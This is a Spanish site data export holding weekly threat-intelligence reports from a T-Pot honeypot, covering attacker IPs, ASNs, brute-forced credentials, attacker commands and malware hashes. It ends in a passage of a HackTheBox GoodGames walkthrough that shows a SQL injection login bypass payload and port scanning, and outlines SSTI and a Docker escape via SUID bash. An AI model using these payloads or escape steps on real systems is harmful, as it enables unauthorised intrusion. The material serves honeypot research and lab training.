campaña.\nLa tabla de actores persistentes está ya en condiciones de ser una sección fija del informe — con cuatro semanas de histórico, tiene valor real para distinguir comportamiento orgánico de campañas estructuradas.\nInforme elaborado a partir de datos propios recogidos en una instancia T-Pot expuesta públicamente a internet. Metodología: exportación de paneles agregados de Kibana (rango 26 julio – 2 agosto 2026) más tagclouds de credenciales en CSV. Comparativa realizada frente a los tres informes anteriores (7–11 jul, 12–18 jul, 19–25 jul).\n","date":"3 de agosto de 2026","externalUrl":null,"permalink":"/es/honeypot/informe-semanal-04/","section":"Honeypots","summary":" Cuarto informe semanal del honeypot T-Pot, período 26 de julio – 2 de agosto de 2026. Con cuatro semanas de datos acumuladas, los patrones dejan de ser anecdóticos y se convierten en tendencias: el botnet SNMP residencial de ConPot se confirma por segunda semana consecutiva (Comcast, AT\u0026T, Verizon, Charter sin un solo VPS en el top 10), la IP 91.199.133.133 catalogada en ThreatFox como C2 de Mirai Katana reaparece sirviendo payloads en Cowrie, Redtail añade arquitectura RISC-V, y la campaña de fuerza bruta contra software ERP turco en Dionaea se confirma con una segunda semana de datos consistentes. Período analizado: 26 de julio – 2 de agosto de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR Informes anteriores: 7–11 jul · 12–18 jul · 19–25 jul\n","title":"Informe Semanal de Threat Intelligence — Honeypot T-Pot (26 jul – 2 ago 2026)","type":"honeypot"},{"content":"","date":"3 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/katana/","section":"Tags","summary":"","title":"Katana","type":"tags"},{"content":"","date":"3 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/mirai/","section":"Tags","summary":"","title":"Mirai","type":"tags"},{"content":"","date":"3 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/mssql/","section":"Tags","summary":"","title":"MSSQL","type":"tags"},{"content":"","date":"3 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/riscv/","section":"Tags","summary":"","title":"RISCV","type":"tags"},{"content":" Tercer informe semanal del honeypot T-Pot, período 19–25 de julio de 2026. El volumen total baja a ~1.820.000 eventos (la mitad que la semana anterior), pero el dato relevante no es el total sino la composición: ConPot se dispara x27 con origen en ISPs residenciales (Comcast, AT\u0026amp;T, Virgin Media, Free SAS) — la firma de un botnet de routers domésticos atacando SNMP, un actor cualitativamente distinto a todo lo visto hasta ahora. Mientras tanto, Flyservers S.A. colapsa en RDP, el mismo payload de Adbhoney lleva tres semanas creciendo, y Dionaea detecta fuerza bruta dirigida específicamente a software de contabilidad turco sobre MSSQL. Período analizado: 19 – 25 de julio de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR Informes anteriores: semana 7–11 jul · semana 12–18 jul\n1. Resumen Ejecutivo # El volumen total baja a ~1.820.000 eventos, prácticamente la mitad que la semana anterior (~3.213.000). Pero el dato relevante no es el volumen total — es que la composición cambia radicalmente sensor a sensor:\nConPot se dispara x27 (4.461 → 122.376 ataques) con un cambio de origen sin precedentes: ya no son VPS de hosting ni escáneres de investigación, sino ISPs residenciales — Comcast, Charter, AT\u0026amp;T, Virgin Media, Free SAS, TIM. Todo concentrado en el puerto 161 (SNMP). La firma de un botnet compuesto por routers domésticos/IoT comprometidos. RDPHoneypot se desploma a un tercio (2.312.634 → 843.181). Flyservers S.A., que la semana pasada generaba más de un millón de eventos, cae a apenas ~40.800 — su campaña se detuvo o migró casi por completo. Sentrypeer también cae a un tercio (340.759 → 119.651), pero la IP 108.181.56.189 — la más activa del dataset la semana pasada — vuelve a aparecer como la más activa, ahora destacada también en el top 10 global. Tercera semana con presencia relevante. Honeytrap vuelve a crecer (218.202 → 372.001), impulsado en un 40% por una sola IP de la red académica alemana DFN — casi con toda seguridad tráfico de investigación, no un ataque real. Cowrie confirma por tercera semana consecutiva la subred 45.153.34.x y el malware Redtail. Mismo actor, misma infraestructura, mismo payload. El hash de Adbhoney sigue creciendo semana a semana: 110 → 228 → 287 descargas. Tres semanas de datos confirman una campaña activa y en expansión. Nuevo hallazgo en Dionaea: términos en turco en el tagcloud de usuarios (KASA, DEPO, FATURA, LOGO, MIKRO) — nombres de software ERP/contable real turco — junto al repunte de mssqld y un ISP turco en el top de ASN. Fuerza bruta vertical dirigida a un sector y geografía específicos. 2. Volumetría Comparativa (tres semanas) # Honeypot 7–11 jul 12–18 jul 19–25 jul Tendencia RDPHoneypot 111.818 2.312.634 843.181 📈📉 pico y caída Honeytrap 678.792 218.202 372.001 📉📈 en forma de V Cowrie 116.390 229.182 249.057 📈 crecimiento sostenido ConPot 1.594 4.461 122.376 📈📈📈 explosión Sentrypeer 36.522 340.759 119.651 📈📉 pico y caída Dionaea 61.123 91.957 92.722 ➡️ estable Adbhoney 2.618 2.012 1.737 ➡️ (payload +161%) Total aprox. ~1.011.000 ~3.213.000 ~1.820.000 Ningún sensor mantiene un comportamiento estable salvo Dionaea y Cowrie. Esta variabilidad extrema semana a semana es en sí misma un dato: un snapshot de una sola semana sin comparación histórica daría una foto muy distorsionada del riesgo real de este honeypot.\n3. ConPot — El Hallazgo Más Relevante de la Semana # 122.376 ataques, 1.009 IPs únicas (x27 en volumen, x4 en IPs respecto a la semana anterior). Varios picos abruptos a lo largo de la semana (~20.000 eventos en un solo intervalo), no un crecimiento gradual.\nCambio radical de infraestructura de origen # La semana pasada, los orígenes de ConPot eran proveedores de hosting/VPS típicos. Esta semana, el top de ASN está copado por ISPs residenciales:\nASN Organización País Eventos 7922 Comcast Cable Communications EE. UU. 12.053 33363 Charter Communications EE. UU. 11.644 12322 Free SAS Francia 10.889 11426 / 20001 Charter Communications EE. UU. 9.872 / 7.923 3269 TIM Italia 6.337 7018 AT\u0026amp;T Enterprises EE. UU. 5.489 5089 Virgin Media Reino Unido 4.765 Comcast, Charter, AT\u0026amp;T, Virgin Media, Free SAS y TIM son operadores de banda ancha residencial. Ninguno es un proveedor de hosting/VPS. Este perfil de origen, combinado con el hecho de que el 99% del tráfico apunta al puerto 161 (SNMP), es la firma característica de un botnet formado por routers domésticos o dispositivos IoT comprometidos escaneando SNMP a gran escala — no de un actor con su propia infraestructura de ataque.\n¿Por qué SNMP? SNMP (Simple Network Management Protocol) es el protocolo de gestión remota más extendido en routers, switches y dispositivos de red. Escanearlo masivamente sirve para identificar dispositivos con SNMP habilitado y credenciales por defecto (community string public/private), el primer paso para comprometer nuevos nodos que incorporar al botnet.\nEl protocolo IEC-104 (telecontrol de subestaciones eléctricas, puerto 2404) sigue presente por cuarta semana consecutiva, aunque en proporción mínima frente al aluvión de SNMP de esta semana.\n4. RDPHoneypot — El Gran Actor de la Semana Pasada Desaparece # 843.181 ataques, 453 IPs únicas (frente a 2.312.634 la semana pasada). Dos picos concretos el 22 y 23 de julio (~85-90k cada uno) y caída sostenida el resto de la semana.\nColapso de Flyservers S.A. # La semana pasada, Flyservers S.A. (dos ASN distintos) generaba más de 1.056.000 eventos — casi la mitad de todo el tráfico RDP. Esta semana, ambos ASN suman apenas ~40.800 eventos combinados: una caída del 96% en siete días. Este tipo de colapso abrupto es típico de: (a) el operador fue detectado y su infraestructura dada de baja por el proveedor, (b) migró a otro proveedor, o (c) simplemente pausó la campaña.\nNuevos protagonistas # ASN Organización Eventos 201814 MEVSPACE sp. z o.o. 260.270 205997 Vlad Cojuhari 224.226 \u0026ldquo;Vlad Cojuhari\u0026rdquo; (ASN 205997, 224.226 eventos) es un ASN registrado a nombre de una persona física en lugar de una empresa — inusual, y habitual en operaciones de hosting más pequeñas o menos reguladas. Mónaco y Panamá, dominantes la semana pasada (ligados a Flyservers), prácticamente desaparecen del top. Los países de origen son ahora Estados Unidos, Polonia, Francia y Azerbaiyán.\n5. Honeytrap — Recuperación Impulsada por Tráfico de Investigación # 372.001 ataques, 9.974 IPs únicas (x1,7 respecto a la semana anterior). Pico marcado el 22-23 de julio.\nEl actor dominante no es malicioso # La IP 141.76.94.28, perteneciente al ASN Verein zur Förderung eines Deutschen Forschungsnetzes e.V. (DFN) — la red académica y de investigación de Alemania — genera 146.980 eventos, casi el 40% de todo el tráfico de Honeytrap esta semana. Es, con alta probabilidad, un proyecto de medición/escaneo de internet con fines de investigación académica. No debe contabilizarse con el mismo peso que tráfico de un actor malicioso al valorar el nivel de amenaza real de la semana.\nLos puertos más atacados mantienen el perfil de la semana pasada (8728/MikroTik, 5038/Asterisk AMI, 7070), sumando ahora 8081 y 2222 (puerto SSH alternativo, común en configuraciones no estándar).\n6. Cowrie — Tercera Semana Confirmando el Mismo Actor # 249.057 ataques, 1.623 IPs únicas, 57 HASSH únicos. Crecimiento sostenido y moderado, coherente con las dos semanas anteriores.\nConfirmación longitudinal a tres semanas # Indicador Sem 1 (7-11 jul) Sem 2 (12-18 jul) Sem 3 (19-25 jul) Subred 45.153.34.x ✅ ~3.817/IP ✅ ~3.817/IP ✅ ~3.815/IP Malware Redtail ✅ ✅ ✅ Script chattr -ia .ssh ✅ ✅ ✅ Loader xnxnxnxn (loongarch64/m68k) ❌ ✅ ❌ (puntual) La subred 45.153.34.x, Redtail y el script de bloqueo de .ssh son ya actores/TTPs permanentes de este honeypot. El loader con arquitecturas inusuales de la semana pasada no reaparece — fue una campaña puntual, no persistente.\nEl comando uname -a casi duplica su frecuencia (384 → 711 ejecuciones) — mayor actividad del mismo loader. TechTies Inc. e India Net Access Internet lideran por tercer semana consecutiva; la IP 103.149.197.34 sigue siendo la más activa.\n7. Sentrypeer — Actor Recurrente, Tercera Semana # 119.651 ataques, 192 IPs únicas. Pico inicial el 19 de julio y caída sostenida el resto de la semana.\n108.181.56.189 acumula 59.769 eventos y vuelve a ser la IP más activa del sensor, y una de las más destacadas en el dashboard global. Con presencia en al menos dos semanas consecutivas y visibilidad a nivel de dashboard, es ya un actor confirmado con actividad prolongada contra esta instancia.\nDetalle técnico curioso # En el panel de user-agents SIP aparece la cadena 'or\u0026quot;=' — literalmente una carga de inyección SQL/comando clásica, usada aquí como valor de cabecera SIP. No es un ataque dirigido contra la base de datos del honeypot, sino una prueba automatizada genérica para comprobar si el servidor procesa cabeceras sin sanitizar. Ilustrativo del nivel de ruido que lanza cualquier escáner masivo: ensaya técnicas de inyección independientemente de que el protocolo objetivo sea SQL, SIP o cualquier otra cosa.\n8. Dionaea — Fuerza Bruta Dirigida a Software ERP Turco # 92.722 ataques, 1.799 IPs únicas — volumen estable respecto a la semana anterior.\nHallazgo del tagcloud # Junto a las credenciales genéricas habituales (admin, root, sa), aparece un conjunto de términos que no encajan con fuerza bruta genérica:\nTérmino Significado Contexto KASA Caja/efectivo Módulo de caja en ERP turco DEPO Almacén Módulo de stock/almacén FATURA Factura Módulo de facturación MUHASEBE Contabilidad Módulo contable LOGO — Marca real de software ERP turco MIKRO — Marca real de software contable turco BARKOD Código de barras Módulo de inventario LOGO y MIKRO son marcas reales de software ERP/contable muy usadas en Turquía, con bases de datos MSSQL como backend habitual. Combinado con el protocolo mssqld ganando peso en Dionaea y TurkNet İletişim Hizmetleri A.Ş. en el top de ASN (3.410 eventos), esto sugiere un ataque vertical: fuerza bruta dirigida específicamente contra instalaciones de MSSQL usadas por software de gestión empresarial turco, en lugar del ruido genérico habitual.\nMéxico aparece como primer país de origen (nuevo, no visto en semanas anteriores), con la IP 187.235.152.60 (11.055 eventos, ASN UNINET — el mayor operador de telecomunicaciones de México). Arabia Saudí y Uruguay también son nuevos en el top.\n9. Adbhoney — Tres Semanas de Crecimiento Confirmado # 1.737 ataques, 102 IPs únicas. El volumen del sensor se mantiene bajo y estable, pero el dato relevante es la progresión del payload:\nSemana Descargas del hash 7–11 jul 110 12–18 jul 228 19–25 jul 287 El hash 849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d53839b5.raw (cadena Rebirth → com.ufo.miner → Trinity) lleva tres semanas creciendo de forma consecutiva con el mismo payload. Es el indicador más claro de inteligencia longitudinal de todo el seguimiento: una campaña real, activa y en expansión, no un evento puntual.\n10. Conclusiones # El hallazgo de la semana es ConPot: ISPs residenciales + puerto 161 SNMP es la firma de un botnet IoT/router doméstico — un tipo de actor cualitativamente distinto a la infraestructura VPS/hosting vista en semanas anteriores. Merece seguimiento la semana que viene para confirmar si el patrón se consolida o fue puntual.\nNo todo pico de volumen es una amenaza: el 40% del tráfico de Honeytrap esta semana viene de la red académica alemana DFN. La separación entre escaneo de investigación y tráfico malicioso real sigue siendo crítica para no distorsionar el nivel de amenaza percibido.\nRedtail, la subred 45.153.34.x y el payload de Adbhoney llevan tres semanas activos — son ya candidatos sólidos para reglas de bloqueo permanente a nivel de subred y hash si se gestionara un entorno real.\nEl colapso de Flyservers S.A. en RDP ilustra lo rápido que cambia la infraestructura de un actor — de dominar casi la mitad del tráfico de un sensor a prácticamente desaparecer en siete días. Cualquier lista de bloqueo basada en ASN necesita revisión frecuente.\nLa fuerza bruta contra software ERP turco (LOGO/Mikro) en Dionaea es un buen candidato para un post independiente sobre ataques verticales dirigidos a sectores y geografías específicos.\nCon tres semanas de datos acumulados, el informe empieza a tener valor real de inteligencia longitudinal. La próxima entrega debería incluir una sección fija de \u0026ldquo;actores persistentes\u0026rdquo; (IPs, hashes y subredes vistas en 2+ semanas) — ya hay suficiente histórico para sostenerla.\nInforme elaborado a partir de datos propios recogidos en una instancia T-Pot expuesta públicamente a internet. Metodología: exportación de paneles agregados de Kibana (rango 19–25 julio 2026) más tagclouds de credenciales en CSV. Comparativa realizada frente a los informes de las semanas anteriores (7–11 jul y 12–18 jul).\n","date":"26 de julio de 2026","externalUrl":null,"permalink":"/es/honeypot/informe-semanal-03/","section":"Honeypots","summary":" Tercer informe semanal del honeypot T-Pot, período 19–25 de julio de 2026. El volumen total baja a ~1.820.000 eventos (la mitad que la semana anterior), pero el dato relevante no es el total sino la composición: ConPot se dispara x27 con origen en ISPs residenciales (Comcast, AT\u0026T, Virgin Media, Free SAS) — la firma de un botnet de routers domésticos atacando SNMP, un actor cualitativamente distinto a todo lo visto hasta ahora. Mientras tanto, Flyservers S.A. colapsa en RDP, el mismo payload de Adbhoney lleva tres semanas creciendo, y Dionaea detecta fuerza bruta dirigida específicamente a software de contabilidad turco sobre MSSQL. Período analizado: 19 – 25 de julio de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR Informes anteriores: semana 7–11 jul · semana 12–18 jul\n","title":"Informe Semanal de Threat Intelligence — Honeypot T-Pot (19–25 julio 2026)","type":"honeypot"},{"content":" Segundo informe semanal del honeypot T-Pot, período 12–18 de julio de 2026. El volumen total se dispara a ~3.213.000 eventos (x3,2 respecto a la semana anterior), pero el crecimiento no es homogéneo: está casi enteramente explicado por dos sensores — RDPHoneypot x20,7 con Flyservers S.A. como origen dominante, y Sentrypeer x9,3 con un cambio de objetivo hacia numeración del Reino Unido. Se confirman además actores recurrentes en múltiples sensores y un nuevo loader compilado para arquitecturas poco habituales (loongarch64, m68k). Período analizado: 12 – 18 de julio de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR Informe anterior: semana del 7–11 de julio de 2026\n1. Resumen Ejecutivo # Esta semana el volumen total se dispara a ~3.213.000 eventos, frente a ~1.011.000 la semana anterior (x3,2). El salto no es homogéneo: está casi enteramente concentrado en dos sensores muy concretos, mientras otros incluso bajan.\nLos cambios más significativos respecto a la semana anterior:\nRDPHoneypot pasa de 111.818 a 2.312.634 ataques (x20,7), con foco geográfico desplazado a Mónaco, Alemania, Panamá y Bulgaria. El origen se concentra en dos ASN con el mismo nombre comercial (Flyservers S.A.) que juntos suman más de un millón de eventos. Sentrypeer pasa de 36.522 a 340.759 ataques (x9,3), con cambio de objetivo: la semana anterior era numeración francesa/norteamericana, esta semana es un bloque del Reino Unido probado de forma sistemática y secuencial. Honeytrap cae de 678.792 a 218.202 ataques, pero las IPs únicas suben de 6.119 a 10.015 — el tráfico pasó de pocos orígenes generando mucho volumen a un patrón más distribuido. Confirmación de actor recurrente: las subredes 62.84.80.240-243 (Dionaea) y 217.154.196-197.x / 31.70.86.6x (Sentrypeer) vuelven a aparecer con las mismas IPs exactas. Ya no es coincidencia puntual, es presencia sostenida. Nuevo loader multi-arquitectura en Cowrie: binarios para aarch64, i386, loongarch64 y m68k. La inclusión de loongarch64 (arquitectura china de nicho) y m68k (hardware de los años 80, hoy en sistemas embebidos/routers muy antiguos) es inusual. El mismo payload de Adbhoney de la semana pasada reaparece con 228 descargas (frente a 110), confirmando que la campaña de minería Android (UFO Miner) sigue activa. IEC-104 (protocolo de subestaciones eléctricas) sigue presente en ConPot por segunda semana consecutiva. 2. Volumetría Comparativa # Honeypot Semana 7–11 jul Semana 12–18 jul Variación RDPHoneypot 111.818 2.312.634 x20,7 ⬆️⬆️ Sentrypeer 36.522 340.759 x9,3 ⬆️⬆️ Cowrie 116.390 229.182 x1,97 ⬆️ Honeytrap 678.792 218.202 x0,32 ⬇️⬇️ Dionaea 61.123 91.957 x1,50 ⬆️ ConPot 1.594 4.461 x2,80 ⬆️ Adbhoney 2.618 2.012 x0,77 ≈ Tanner ~2.000 ~6.000 ⬆️ Mailoney 906 ~6.000 ⬆️ fuerte Total aprox. ~1.011.000 ~3.213.000 x3,18 El crecimiento total está explicado casi en su totalidad por RDPHoneypot y Sentrypeer — entre los dos aportan más de 2,6 millones de los ~3,2 millones de eventos. Honeytrap, dominante la semana pasada, pasa a un rol secundario en volumen, aunque su base de IPs únicas casi se duplica (6.119 → 10.015): tráfico más disperso, no menos interés en el servicio.\n3. RDPHoneypot — El Sensor Dominante de la Semana # 2.312.634 ataques, 470 IPs únicas. La media de eventos por IP pasa de ~447 la semana pasada a ~4.920 — no solo hay más IPs atacando, cada una es mucho más agresiva.\nDistribución temporal # Actividad sostenida y creciente durante toda la semana, con un pico documentado el 18 de julio (56.293 ataques en un solo intervalo). A diferencia del pico aislado del 9-10 de julio, aquí el patrón es de crecimiento sostenido, no un pico y caída.\nOrigen geográfico e infraestructura # Los países dominantes son Mónaco, Alemania, Bulgaria y Panamá — cambio notable respecto a Bulgaria/Azerbaiyán/Ucrania de la semana anterior.\nASN Organización Eventos 48721 Flyservers S.A. 736.290 201814 MEVSPACE sp. z o.o. 424.077 35042 Layer7 Networks GmbH 343.918 267784 Flyservers S.A. (2º AS) 320.582 211736 FOP Dmytro Nedilskyi 149.293 49434 Fbw Networks SAS 109.146 Flyservers S.A. aparece con dos números de ASN distintos (48721 y 267784) sumando más de 1.056.000 eventos — casi la mitad de todo el tráfico RDP de la semana. Mismo proveedor de hosting con presencia en Panamá, posiblemente el mismo actor operando bloques de IP en dos rangos de ASN distintos del mismo proveedor.\n4. Sentrypeer — Escalada del Fraude VoIP y Cambio de Objetivo # 340.759 ataques, 198 IPs únicas (x9,3). El histograma muestra dos oleadas distintas: actividad alta el 12-13 de julio, caída pronunciada del 13 al 16, y nuevo pico fuerte el 17-18.\nCambio de objetivo de fraude # La semana pasada: numeración francesa y norteamericana. Esta semana: bloque del Reino Unido (prefijo +44 1292 379...), probado con variaciones de prefijo consecutivas (0014, 0021, 0024, 0031, 0041\u0026hellip;) — barrido metódico de un rango específico, consistente con reconocimiento previo a toll fraud dirigido, no escaneo genérico.\nInfraestructura # La IP 108.181.56.189 acumula 200.379 eventos — la IP individual más activa de todo el dataset de la semana. Los ASN dominantes son Psychz Networks (202.591) e IONOS SE (122.465).\nConfirmación de actor recurrente: 217.154.196.179, 217.154.197.64, 217.154.196.247 y 31.70.86.62 / 31.70.86.68 — ya señaladas la semana pasada — vuelven a aparecer esta semana en el top 10, algunas con las mismas IPs exactas. Es un operador con presencia sostenida y repetida contra este servicio concreto.\n5. Honeytrap — Menos Volumen, Más Dispersión y Cambio de Foco # 218.202 ataques, 10.015 IPs únicas. Pico inicial fuerte el día 12 (~57.000 eventos) y luego actividad baja y estable el resto de la semana.\nCambio de puertos objetivo # Semana anterior Esta semana 11434 — Ollama 2763 7860 — Gradio 5038 — Asterisk Manager Interface 8501 — Streamlit 8728 — API MikroTik El escaneo de infraestructura de IA desaparece del top 5. El giro hacia puerto 5038 (AMI, Asterisk Manager Interface) es relevante: es el puerto de gestión de centralitas Asterisk, lo que conecta temáticamente con el repunte de fraude VoIP en Sentrypeer esta misma semana — posible coordinación o reflejo de una campaña más amplia de reconocimiento de infraestructura de telefonía IP.\nLANTEC COMUNICACAO MULTIMIDIA LTDA (Brasil) domina con 71.274 eventos. Modat B.V. (el escáner de investigación identificado la semana pasada) reaparece con 11.086 eventos — presente, pero en proporción mucho menor.\n6. Cowrie — Crecimiento Sostenido y Nuevo Loader Multi-Arquitectura # 229.182 ataques, 1.798 IPs únicas, 65 HASSH únicos (x1,97). Repunte marcado el 17-18 de julio.\nCredenciales (datos exactos vía CSV) # Usuario Intentos Contraseña Intentos Administrator 273.098 123456 1.629 Administrador 52.633 123 788 root 14.292 1234 732 admin 2.500 password 630 sa 679 admin 614 Dato llamativo: Administrador (en español, 52.633 intentos) aparece como segundo usuario más probado — diccionarios localizados para hispanohablantes, algo ausente la semana pasada.\nPost-explotación # El patrón de comandos se repite casi idéntico: uname -a, chattr -ia .ssh; lockr -ia .ssh, cat /proc/cpuinfo, whoami — mismo script de fingerprinting/bloqueo de .ssh de la semana anterior. Mismo tipo de loader, misma operación.\nNuevo loader: arquitecturas inusuales # Descargas capturadas desde 41.216.189.157 con patrón de nombre ofuscado xnxnxnxnxnxn[arquitectura]xnxn:\nArquitectura Contexto aarch64 ARM 64-bit — servidores y móviles modernos i386 x86 32-bit loongarch64 Arquitectura china de propósito general, muy poco habitual en malware m68k Arquitectura de los años 80, hoy solo en sistemas embebidos/routers legacy Compilar para loongarch64 y m68k junto a las arquitecturas habituales indica un intento deliberado de maximizar la superficie de dispositivos comprometibles, incluyendo hardware legacy que normalmente no recibe atención de este tipo de malware. Redtail (identificado la semana pasada) también sigue presente.\nTechTies Inc. (37.526) y Net Access Internet India (24.150) encabezan el origen por ASN. La IP 103.149.197.34 acumula 24.150 eventos — prácticamente todo el tráfico de Net Access Internet India viene de esa única IP.\n7. Dionaea — El Mismo Actor, Segunda Semana # 91.957 ataques, 1.474 IPs únicas (x1,50).\nLas IPs 62.84.80.240, .241, .242 y .243 — marcadas la semana pasada con ~5.600-5.700 eventos cada una — vuelven a aparecer esta semana con conteos similares (3.796-3.874 cada una). Segunda semana consecutiva. Ya no es ruido: es un operador con infraestructura fija y presencia continuada contra este honeypot.\nAparece con fuerza el protocolo ftpdatalisten (nuevo en el top de esta semana), ganando peso el puerto 21 (FTP) frente al dominio casi exclusivo de SMB/RPC de la semana anterior.\nLíbano y Vietnam repiten como países de origen; se suman Japón y Armenia, ausentes la semana pasada. Broadband Plus S.a.l. (Líbano) sigue siendo el ASN más activo (15.316).\n8. ConPot — IEC-104 por Segunda Semana Consecutiva # 4.461 ataques, 257 IPs únicas (x2,8). El protocolo IEC-104 (puerto 2404, telecontrol de subestaciones eléctricas) sigue presente — ya no es un evento puntual, hay sondeo recurrente.\nAparece también actividad en el puerto 623 (IPMI), gestión remota fuera de banda de servidores — vector distinto al resto de protocolos ICS vistos hasta ahora, relevante porque IPMI mal asegurado es una vía de compromiso real y documentada en entornos de datacenter.\nCensys, Inc. aparece en el top de ASN (110 eventos) — al igual que Modat B.V. y ONYPHE SAS, es una empresa de escaneo de investigación de internet, no un actor malicioso. Confirma el patrón ya visto: parte del tráfico \u0026ldquo;de ataque\u0026rdquo; hacia honeypots ICS es catalogación pasiva de internet.\n9. Adbhoney — Misma Campaña, Más Actividad # 2.012 ataques, 106 IPs únicas. El mismo hash de payload de la semana pasada reaparece con 228 descargas (frente a 110 la semana anterior). La cadena Rebirth → com.ufo.miner → Trinity sigue activa con la misma muestra, confirmando una campaña persistente, no un evento aislado.\n10. Conclusiones # El crecimiento de esta semana es una redistribución del foco, no \u0026ldquo;más de lo mismo\u0026rdquo;: RDP y VoIP se disparan mientras Honeytrap se modera. Un entorno real con RDP o centralita SIP expuestos debería considerar esta semana como una ventana de riesgo elevado específica para esos dos servicios.\nLos mismos actores/subredes reaparecen semana tras semana (62.84.80.240-243 en Dionaea; 217.154.196-197.x y 31.70.86.6x en Sentrypeer). Ya justifica una regla de bloqueo permanente a nivel de subred para estos rangos en un entorno real, en lugar de bloqueos puntuales por IP.\nEl giro hacia AMI (5038) en Honeytrap coincidiendo con el pico de Sentrypeer sugiere interés más amplio en infraestructura VoIP/PBX esta semana — merece seguimiento la semana siguiente para confirmar si es tendencia o coincidencia puntual.\nEl loader con soporte para loongarch64 y m68k es un dato técnico distintivo: pocos análisis de honeypot mencionan malware dirigido a estas arquitecturas. Merece un post independiente.\nLa reaparición y crecimiento del hash de Adbhoney confirma el valor del seguimiento longitudinal: permite diferenciar entre \u0026ldquo;ruido nuevo cada semana\u0026rdquo; y \u0026ldquo;campañas persistentes\u0026rdquo; — exactamente lo que distingue un informe de threat intel con perspectiva temporal real de una foto aislada.\nIEC-104 e IPMI en ConPot, dos semanas seguidas, consolidan la recomendación anterior: cualquier repunte en estos puertos merece revisión prioritaria por el tipo de infraestructura que simulan.\nInforme elaborado a partir de datos propios recogidos en una instancia T-Pot expuesta públicamente a internet. Metodología: exportación de paneles agregados de Kibana (rango 12–18 julio 2026) más tagclouds de credenciales en CSV. Comparativa realizada frente al informe de la semana anterior (7–11 julio 2026).\n","date":"19 de julio de 2026","externalUrl":null,"permalink":"/es/honeypot/informe-semanal-02/","section":"Honeypots","summary":" Segundo informe semanal del honeypot T-Pot, período 12–18 de julio de 2026. El volumen total se dispara a ~3.213.000 eventos (x3,2 respecto a la semana anterior), pero el crecimiento no es homogéneo: está casi enteramente explicado por dos sensores — RDPHoneypot x20,7 con Flyservers S.A. como origen dominante, y Sentrypeer x9,3 con un cambio de objetivo hacia numeración del Reino Unido. Se confirman además actores recurrentes en múltiples sensores y un nuevo loader compilado para arquitecturas poco habituales (loongarch64, m68k). Período analizado: 12 – 18 de julio de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR Informe anterior: semana del 7–11 de julio de 2026\n","title":"Informe Semanal de Threat Intelligence — Honeypot T-Pot (12–18 julio 2026)","type":"honeypot"},{"content":"","date":"19 de julio de 2026","externalUrl":null,"permalink":"/es/tags/tollfraud/","section":"Tags","summary":"","title":"TollFraud","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/containerescape/","section":"Tags","summary":"","title":"ContainerEscape","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/docker/","section":"Tags","summary":"","title":"Docker","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/easy/","section":"Tags","summary":"","title":"Easy","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/goodgames/","section":"Tags","summary":"","title":"Goodgames","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/hackthebox/","section":"Tags","summary":"","title":"HackTheBox","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/series/hackthebox-cpts/","section":"Series","summary":"","title":"HackTheBox CPTS","type":"series"},{"content":" Resolución de GoodGames en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. La cadena empieza con una SQL Injection en el formulario de login que permite tanto el bypass de autenticación como el volcado de la base de datos. Un hash MD5 crackeado da acceso a un panel de administración Flask interno donde el campo de nombre de usuario es vulnerable a SSTI con Jinja2, otorgando RCE como root dentro de un contenedor Docker. La salida al host real combina reutilización de credenciales vía SSH con un escape de contenedor clásico: el directorio home del usuario está montado como volumen, y sin user namespace remapping el root del contenedor puede plantar un SUID en bash que resulta efectivo en el host. HackTheBox Linux Easy 🗺️ Información de la Máquina # Campo Detalle Nombre GoodGames OS Linux (contenedor Docker + host Debian) Dificultad Easy IP 10.129.31.181 Técnicas SQL Injection · sqlmap · MD5 cracking · SSTI Jinja2 · Docker escape · SUID bash · Credential Reuse 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.31.181 PORT STATE SERVICE 80/tcp open http 💡 Superficie de ataque: Un único puerto abierto. Toda la investigación pasa por la aplicación web.\n2. Enumeración Web — Portal GoodGames # Al visitar la IP encontramos un blog/tienda de videojuegos.\n3. Explotación — SQL Injection en el Login # 3.1 Petición de Login Normal (capturada con Burp) # POST /login HTTP/1.1 Host: goodgames.htb Content-Type: application/x-www-form-urlencoded email=admin%40goodgames.htb\u0026amp;password=1235 3.2 Bypass de Autenticación # Modificamos el campo email con una condición siempre verdadera y comentamos el resto de la consulta:\nemail=admin\u0026#39; or 1 = 1 -- -\u0026amp;password=1235 ✅ SQL Injection confirmada. La aplicación nos loguea como admin sin conocer la contraseña real.\n4. Descubrimiento del Panel Interno # Explorando el panel (icono de engranaje en la barra superior) encontramos una referencia a otro host:\nhttp://internal-administration.goodgames.htb/ Lo añadimos a /etc/hosts:\necho \u0026#34;10.129.31.181 internal-administration.goodgames.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts Al visitarlo encontramos un panel de administración Flask (Flask Volt Dashboard) con su propio login.\n💡 Necesitamos credenciales para este segundo panel. El siguiente paso es extraer la base de datos del portal principal con sqlmap.\n5. Extracción de Credenciales con sqlmap # 5.1 Guardamos la Petición en un Fichero # cat \u0026gt; goodgames.req \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; POST /login HTTP/1.1 Host: goodgames.htb Content-Type: application/x-www-form-urlencoded Content-Length: 41 